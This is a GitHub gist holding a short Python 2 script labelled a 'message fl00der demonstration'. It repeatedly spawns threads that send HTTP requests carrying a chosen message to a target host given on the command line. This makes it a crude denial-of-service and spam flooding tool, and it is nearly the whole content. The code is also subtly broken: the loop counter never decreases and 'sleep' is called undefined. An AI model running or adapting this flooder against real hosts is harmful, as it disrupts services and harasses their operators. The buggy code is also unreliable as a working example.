Skip to content

Instantly share code, notes, and snippets.

@angeloped
Created September 20, 2021 14:28
Show Gist options
  • Save angeloped/ffafd7a81412d7a8a0e5e9e0971cb108 to your computer and use it in GitHub Desktop.
Save angeloped/ffafd7a81412d7a8a0e5e9e0971cb108 to your computer and use it in GitHub Desktop.
Urllib message fl00der demonstration.
import sys
import time
import thread
import urllib
global sent, error
sent = error = 0
def _send(tgt, msg):
global sent, error
try:
urllib.urlopen("http://{0}/{1}".format(tgt, msg))
sent += 1
except:
error += 1
if len(sys.argv) == 4:
lim = int(sys.argv[3])
else:
lim = 1999
while lim:
thread.start_new_thread(_send,(sys.argv[1], sys.argv[2],))
time.sleep(.1)
print("[+] total of messages sent: {0} ; fail: {1}".format(sent, error))
while not lim == (error + sent):
sleep(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment